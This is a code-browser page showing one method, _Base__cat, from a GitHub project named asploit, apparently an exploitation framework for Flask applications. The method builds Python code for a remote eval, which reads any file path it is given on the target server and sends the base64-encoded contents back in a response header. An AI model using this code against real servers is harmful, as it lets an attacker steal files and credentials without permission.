MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__cat

Method _Base__cat

src/FlaskExploitProcessor.py:163–171  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

161 @brief See base class for details.
162 """
163 def _Base__cat(self, options: str):
164 res = self.__eval(
165 f"try:\n"
166 f"\tr.headers['{self.header}']=__import__('base64').b64encode("
167 f"open('{options}', 'r').read().encode()).decode();\n"
168 f"except Exception as e:\n"
169 f"\tr.headers['{self.header}']=__import__('base64').b64encode("
170 f"str(e).encode());")
171 print(base64.b64decode(res.encode()).decode())
172 """
173 @brief See base class for details.
174 """

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected